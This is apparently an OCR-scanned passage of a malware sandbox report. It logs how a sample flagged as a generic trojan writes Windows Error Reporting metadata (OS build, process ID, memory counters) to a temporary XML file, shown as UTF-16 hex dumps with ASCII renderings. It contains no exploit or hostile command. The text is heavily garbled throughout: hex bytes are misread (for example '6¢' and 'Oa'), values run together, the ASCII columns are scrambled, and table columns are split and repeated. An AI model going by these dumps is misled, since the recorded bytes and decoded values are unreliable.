C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 44

unknown 4

unknown 2

unknown 82

unknown 4

unknown 2

unknown 40

unknown 4

unknown 2

unknown 82

unknown 4

unknown 2

unknown 62

unknown 4

unknown 2

Length Value

3c 00 4f 00 53 00 56
00 65 00 72 00 73 00
69 00 6f 00 6e 00 49
00 6e 00 66 00 6f 00
7200 6d 00 61 00 74
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3c 00 57 00 69 00 6e
00 64 00 6f 00 77 00
73 00 4e 00 54 00 56
00 65 00 72 00 73 00
69 00 6f 00 6e 00 3e
00 31 00 30 00 2e 00
30 00 3c 00 2f 00 57
00 69 00 6e 00 64 00
6f 00 77 00 73 00 4e
00 54 00 56 00 65 00
7200 73 00 69 00 6f
00 6e 00 3e 00

0d 00 0a 00

09 00

3c 0042 00 75 00 69
00 6¢ 00 64 00 3e 00
31003700 310033
00 34 00 3c 00 2f 00
4200 75 00 69 00 6¢
00 64 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 64 00 75 00 63 00
74 00 3e 00 28 00 30
00 78 00 33 00 30 00
29 00 3a 00 20 00 57
00 69 00 6e 00 64 00
6f 00 77 00 73 00 20
00 31 00 30 00 20 00
50 00 72 00 6f 00 3¢
00 2f 00 50 00 72 00
6f 00 64 00 75 00 63
00 74 00 3e 00

0d 00 0a 00

09 00

3c 00 45 00 64 00 69
00 74 00 69 00 6f 00
6e 00 3e 00 50 00 72
00 6f 00 66 00 65 00
7300 73 00 69 00 6f
00 6e 00 61 00 6¢ 00
3c 00 2f 00 45 00 64
00 69 00 74 00 69 00
6f 00 6e 00 3e 00

0d 00 0a 00

09 00

Ascii Completion Count
<.0.S.V.ers.i.o.nlnfo.r. success or wait 1
m.a.t.i.o.n.>.
success or wait 1
success or wait 2
<.W.i.n.d.o.w.s.N.T.V.e.r.s. success or wait 1
i.0.n.>.1.0...0.
<./W.i.n.d.o.w.
s.N.T.V.e.r.s.i.o.n.>.
success or wait 1
success or wait 2
<.B.u.i.l.d.>.1.7.1.3.4.<./.B. success or wait 1
wild.>.
success or wait 1
success or wait 2
<.P.r.o.d.u.c.t.>.(.0.x.3.0.). success or wait 1
. .W.in.d.o.w.s. .1.0. .P.r.
0.<./P.ro.d.u.c.t>.
success or wait 1
success or wait 2
<.E.d.tio.n>P.r.o.fes. success orwait 1
s..o.n.al.</E.d.itio.n.>.
success or wait 1
success or wait 2

Source
Address

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 134

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length Value

44

72

4

2

64

34

46

3c 00 42 00 75 00 69
00 6¢ 00 64 00 53 00
7400 72 00 69 00 6e
00 67 00 3e 00 31 00
37 0031003300 34
00 2e 00 31 00 2e 00
61 00 6d 00 64 00 36
00 34 00 66 00 72 00
65 00 2e 00 72 00 73
00 34 00 5f 00 72 00
65 00 6¢ 00 65 00 61
00 73 00 65 00 2e 00
31 00 38 00 30 00 34
00 31 00 30 00 2d 00
31 00 38 00 30 00 34
00 3c 00 2f 00 42 00
7500 69 00 6¢ 00 64
0053 00 74 00 72 00
69 00 6e 00 67 00 3e
00

0d 00 0a 00

09 00

3¢ 00 52 00 65 00 76
00 69 00 73 00 69 00
6f 00 6e 00 3e 00 31
00 3c 00 2f 00 52 00
65 00 76 00 69 00 73
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3c 00 46 00 6¢ 00 61
00 76 00 6f 00 72 00
3e 00 4d 00 75 00 6¢
00 74 00 69 00 70 00
72 00 6f 00 63 00 65
00 73 00 73 00 6f 00
7200 2000 46 00 72
00 65 00 65 00 3c 00
2f 00 46 00 6¢ 00 61
00 76 00 6f 00 72 00
3e 00

0d 00 0a 00

09 00

3c 0041 00 72 00 63
00 68 00 69 00 74 00
65 00 63 00 74 00 75
00 72 00 65 00 3e 00
58 00 36 00 34 00 3c
00 2f 00 41 00 72 00
63 00 68 00 69 00 74
00 65 00 63 00 74 00
7500 72 00 65 00 3e
00

0d 00 0a 00

09 00

3c 00 4c 00 43 00 49
00 44 00 3e 00 31 00
30 00 33 00 33 00 3c
00 2f 00 4c 00 43 00
49 00 44 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 4f 00 53
00 56 00 65 00 72 00
7300 69 00 6f 00 6e
00 49 00 6e 00 66 00
6f 00 72 00 6d 00 61
00 74 00 69 00 6f 00
6e 00 3e 00

Ascii
<.B.u.ild.S.trin.g.>.1.7.
1.34..1.am.d.6.4fre..
rs.4._rele.as.e..1.8.0.
4.1.0.-.1.8.0.4.<./.B.u.i.L.d.
S.trin.g.>.

<.R.e.w.is.io.n>1</R.e.

v.i.s.i.o.n>.

<.F.lLav.o.r.>.M.u.l.tip.r.
o.c.e.s.s.o.r. .F.re.e.</F.
l.a.v.o.r>.

<Ar.c.hite.cture>X.
6.4.</Ar.c.hite.c.tu.r.
e.>.

<.L.C.1.D.>.1.0.3.3.
<./.L.C.L.D.>.

<./.0.S.V.errs..o.n.l.n.fo.
rm.a.ti.o.n.>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Address

1

1

2

1

Source
Symbol

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown
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File Path Offset
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 30
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2

ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 146

ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 90
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 44
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2

ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

Copyright null 2021

Length Value

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
73 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 69 00 64
00 3e 00 37 00 31 00
34 00 30 00 3c 00 2f
00 50 00 69 00 64 00
3e 00

0d 00 0a 00

09 00

3c 00 49 00 6d 00 61
00 67 00 65 00 4e 00
61 00 6d 00 65 00 3e
00 53 00 65 00 63 00
7500 72 00 69 00 74
00 65 00 49 00 6e 00
66 00 6f 00 2e 00 63
00 6f 00 6d 00 2e 00
54 00 72 00 6f 00 6a
00 61 00 6e 00 2e 00
47 00 65 00 6e 00 65
00 72 00 69 00 63 00
4b 00 44 00 5a 00 2e
00 37 00 33 00 31 00
3200 34 00 2e 00 31
00 39 00 31 00 37 00
30 00 2e 00 65 00 78
00 65 00 3c 00 2f 00
49 00 6d 00 61 00 67
00 65 00 4e 00 61 00
6d 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 43 00 6d 00 64
00 4c 00 69 00 6e 00
65 00 53 00 69 00 67
00 6e 00 61 00 74 00
7500 72 00 65 00 3e
00 30 00 30 00 30 00
30 00 30 00 30 00 30
00 30 00 3c 00 2f 00
4300 6d 00 64 00 4c
00 69 00 6e 00 65 00
53 00 69 00 67 00 6e
00 61 00 74 00 75 00
72 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 55 00 70 00 74
00 69 00 6d 00 65 00
3e 00 3500 37 00 32
00 30 00 38 00 3c 00
2f 0055 00 70 00 74
00 69 00 6d 00 65 00
3e 00

0d 00 0a 00

09 00

Source

Ascii Completion Count Address Symbol
success or wait 1 6E1E497A unknown
success or wait 1 6E1E497A unknown

<.P.ro.c.e.s.s.l.nf.o.orm.a. success or wait 1 6E1E497A unknown

tio.n.>.
success or wait 1 6E1E497A unknown
success or wait 2 6E1E497A unknown
<.P.i.d.>.7.1.4.0.<./.P.i.d.>. success or wait 1 6E1E497A unknown
success or wait 1 6E1E497A unknown
success or wait 2 6E1E497A unknown
<..m.a.g.e.N.a.m.e.>.S.e.c success or wait 1 6E1E497A unknown

.urite.lnfo..com..Tr.

o.j.a.n..G.e.n.e.r.i.c.K.D.Z.

.7.31.24..1.9.1.7.0...e.x.

e.</.Im.a.g.e.N.am.e.>.
success or wait 1 6E1E497A unknown
success or wait 2 6E1E497A unknown

<.C.m.d.L.i.n.e.S.i.g.n.a.t.u success or wait 1 6E1E497A unknown

.r.e.>.0.0.0.0.0.0.0.0.

<./.C.m.

d.L.i.n.e.S.i.g.n.ature>.
success or wait 1 6E1E497A unknown
success or wait 2 6E1E497A unknown

<.U.p.t.i.m.e.>.5.7.2.0.8. success or wait 1 6E1E497A unknown

<./U.p.tim.e.>.
success or wait 1 6E1E497A unknown
success or wait 2 6E1E497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 82

unknown 4

unknown 2

unknown 52

unknown 4

unknown 2

unknown 44

unknown 4

unknown 2

unknown 88

unknown 4

unknown 2

unknown 72

unknown 4

unknown 2

unknown 74

Length Value

3c 00 57 00 6f 00 77
00 36 00 34 00 20 00
67 00 75 00 65 00 73
00 74 00 3d 00 22 00
33 003300320022
00 20 00 68 00 6f 00
7300 74 00 3d 00 22
00 33 00 34 00 34 00
30 00 34 00 22 00 3e
00 31 00 3c 00 2f 00
57 00 6f 00 77 00 36
00 34 00 3e 00

0d 00 0a 00

09 00

3c 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00 30 00 3c 00
2f 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 56 00 6d 00 49
00 6e 00 66 00 6f 00
72 00 6d 00 61 00 74
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3¢ 00 50 00 65 00 61
00 6b 00 56 00 69 00
7200 74 00 75 00 61
00 6¢ 00 53 00 69 00
7a 00 65 00 3e 00 31
00 30 00 36 00 38 00
36 00 38 00 37 00 33
00 36 00 3c 00 2f 00
50 00 65 00 61 00 6b
00 56 00 69 00 72 00
7400 75 00 61 00 6¢
00 53 00 69 00 7a 00
65 00 3e 00

0d 00 0a 00

09 00

3c 00 56 00 69 00 72
00 74 00 75 00 61 00
6¢ 00 53 00 69 00 7a
00 65 00 3e 00 31 00
30 00 36 00 38 00 36
00 30 00 3500 34 00
34 00 3c 00 2f 00 56
00 69 00 72 00 74 00
7500 61 00 6¢ 00 53
00 69 00 7a 00 65 00
3e 00

0d 00 0a 00

09 00

3¢ 0050 00 61 00 67
00 65 00 46 00 61 00
7500 6¢ 00 74 00 43
00 6f 00 75 00 6e 00
74 00 3e 00 34 00 32
00 38 00 36 00 3c 00
2f 00 50 00 61 00 67
00 65 00 46 00 61 00
7500 6¢ 00 74 00 43
00 6f 00 75 00 6e 00
74 00 3e 00

Ascii

<W.o.w.6.4.
.g.u.es.t="3.3.2.".

.h.0.st.="3.4.4.04.">1.

<./W.o.w.6.4.>.

<.|.p.t.E.n.ab.l.e.d.>.0.</.

l.p.t.E.n.a.b.l.e.d.>.

<.P.ro.ce.s.s.V.m.Ln.fo.r.

m.a.t.i.o.n.>.

<.P.eak.V.irtualS.z.

e.>.1.0.6.8.6.8.7.3.6.
<./P.e.
akV.irtualS.ize>.

<.VirtualS.ze>.1.0.
6.8.6.0.5.4.4.<./V.irtu.a.

.S.i.z.e>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

<.P.a.g.e.F.a.u.l.t.C.0.u.n.t. success or wait

>.4.2.8.6.
<./.P.a.g.e.F.a.u.l.
t.C.o.u.n.t.>.

Count Address

1

Source
Symbol

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 98 3c 005000650061 <.P.e.a.k.W.o.rk.in.g.S.e.t success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml 00 6b 00 57 00 6f00 .S.i.z.e.>.1.6.1.0.9.5.6.8.

7200 6b 00 69 00 6e <./
00670053006500 P.e.akW.o.rkingsS.e.tsS
7400530069007a .i.z.e.>.
00 65 00 3e 00 31 00

36 00 31 00 30 00 39

00 35 00 36 00 38 00

3c 00 2f 00 50 00 65

00 61 00 6b 00 57 00

6f 00 72 00 6b 00 69

00 6e 00 67 00 53 00

65 00 74 00 53 00 69

00 7a 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 82 3c0057006f0072 <.W.o.rk.in.g.S.e.tS.i.z.e. success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml 00 6b 00 69 00 6e 00 >.1.6.1.0.1.3.7.6.

67 005300650074 <./W.o.rk.
00530069007a00 in.g.S.etS.ize>.
65 00 3e 00 31 00 36

00 31 00 30 00 31 00

3300 37 00 36 00 3c

00 2f 00 57 00 6f 00

72 00 6b 00 69 00 6e

00 67 00 53 00 65 00

74 00 53 00 69 00 7a

00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 114 3c00510075006f <.Q.u.o.ta.P.eak.P.a.g.e. success orwait 1 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml 0074 0061005000 d.

6500 61 00 6b 0050 P.o.0.l.U.s.a.g.e.>.2.0.0.2.
00 61 00 67 00 6500 0.0.

64 0050 00 6f 00 6f <./.Q.u.0.t.a.P.e.ak.P.ag.
00 6c 005500 7300 e.d.P.o.o.l.Us.ag.e.>.

61 00 67 00 65 00 3e

00 32 00 30 00 30 00

3200 30 00 30 00 3c

00 2f 00 51 00 75 00

6f 00 74 00 61 00 50

00 65 00 61 00 6b 00

50 00 61 00 67 00 65

00 64 00 50 00 6f 00

6f 00 6¢ 00 55 00 73

00 61 00 67 00 65 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 .. success or wait 3 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 98 3c00510075006f <.Q.u.o.ta.P.a.g.e.d.P.o.o. success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml 00740061005000 IlU.s.a.g.e.>.2.0.0.0.2.4.

6100 67 00 650064 <./.Q.
00 50 00 6f 00 6f 00 6¢ u.o.t.a.P.a.g.e.d.P.0.0.l.U.s
00550073006100 .a.g.e>.
67 00 65 00 3e 00 32

00 30 00 30 00 30 00

3200 34 00 3c 00 2f

00 51 00 75 00 6f 00

7400 61 00 50 00 61

00 67 00 65 00 64 00

50 00 6f 00 6f 00 6¢

00 55 00 73 00 61 00

67 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait & 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset Length Value Ascii

unknown 126

unknown 4

unknown 2

unknown 110

unknown 4

unknown 2

unknown 76

unknown 4

unknown 2

unknown 92

unknown 4

unknown 2

Completion

3c00510075006f <.Q.u.o.t.a.P.e.ak.N.o.n.P. success or wait 1
0074 0061005000 a.

6500 61 00 6b 00 4e g.e.d.P.o.0.l.U.s.a.g.e.>.1.
00 6f 00 6e 0050 00  1.1.1.6.0.

61 00 67 00 6500 64 <./.Q.u.0.ta.P.e.ak.

00 50 00 6f 00 6f00  N.o.n.P.a.g.e.d.P.0.0.l.U.s.
6c 005500730061 a.g.e>.

00 67 00 65 00 3e 00

3100 3100 31 00 31

00 36 00 30 00 3c 00

2f 00 51 00 75 00 6f

00 74 00 61 00 50 00

65 00 61 00 6b 00 4e

00 6f 00 6e 00 50 00

61 00 67 00 65 00 64

00 50 00 6f 00 6f 00

6¢ 00 55 00 73 00 61

00 67 00 65 00 3e 00

0d 00 Oa 00 success or wait 1

09 00 . success or wait 8

3c00510075006f <.Q.u.o.t.a.N.o.n.P.a.g.e.d. success or wait 1
0074 0061 004e 00 P.

6f 00 6e 0050 00 61 0.0.l.U.s.a.g.e.>.1.1.0.8.8.8
00 67 00 65 00 64 00 .

50 00 6f 00 6f00 6c  <./.Q.u.0.t.a.N.o.n.P.a.g.e.
00550073006100 d.P.o.olU.s.ag.e.>.

67 00 65 00 3e 00 31

00 31 00 30 00 38 00

38 00 38 00 3c 00 2f

00 51 00 75 00 6f 00

74 00 61 00 4e 00 6f

00 6e 00 50 00 61 00

67 00 65 00 64 00 50

00 6f 00 6f 00 6¢ 00 55

00 73 00 61 00 67 00

65 00 3e 00

0d 00 Oa 00 success or wait 1

09 00 . success or wait &

3c 005000610067 <.P.a.g.e.fileU.s.ag.e> successorwait 1
00 65 00 66 00 69 00 8.4.0.0.8.9.6.<./.P.a.g.e.f.i.
6c 006500550073 leU.s.a.g.e>.

00 61 00 67 00 65 00

3e 00 38 00 34 00 30

00 30 00 38 00 39 00

36 00 3c 00 2f 00 50

00 61 00 67 00 65 00

66 00 69 00 6¢ 00 65

00 55 00 73 00 61 00

67 00 65 00 3e 00

0d 00 Oa 00 success or wait 1

09 00 . success or wait &

3c 005000650061 <.P.e.ak.P.ag.ef.ileU.ss. success orwait 1
00 6b 0050006100 a.g.e.>.8.4.0.9.0.8.8.

67 00 6500 66 0069 <./.P.e.

00 6c 00 65005500 ak.P.a.g.efile.U.s.ag.e.
73 006100670065 >.

00 3e 00 38 00 34 00

30 00 39 00 30 00 38

00 38 00 3c 00 2f 00

50 00 65 00 61 00 6b

00 50 00 61 00 67 00

65 00 66 00 69 00 6¢

00 65 00 55 00 73 00

61 00 67 00 65 00 3e

00

0d 00 Oa 00 success or wait 1

09 00 . success or wait &

Source

Count Address Symbol

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 72 3c005000720069 <.P.riv.ate.U.s.ag.e.>8. success orwait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml 0076 0061007400 4.0.0.8.9.6.<./.P.r.iv.ate.

65005500730061 U.s.a.g.e.>.
00 67 00 65 00 3e 00
38 00 34 00 30 00 30
00 38 00 39 00 36 00
3c 00 2f 00 50 00 72
00 69 00 76 00 61 00

74 00 65 00 55 00 73

00 61 00 67 00 65 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 46 3c002f00500072 <./.P.r.o.ce.s.s.V.m.l.n.f.o. success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml 00 6f00 63 006500 r.m.a.t.i.o.n.>.

7300 73 00 56 00 6d

00 49 00 6e 00 66 00
6f 00 72 00 6d 00 61
00 74 00 69 00 6f 00

6e 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 .. success or wait 2 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 30 3c005000610072 <.P.ar.e.n.tP.r.o.c.e.s.s.> success orwait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml 00 65 00 6e 00 74 00

50 00 72 00 6f 00 63
00 65 00 73 00 73 00

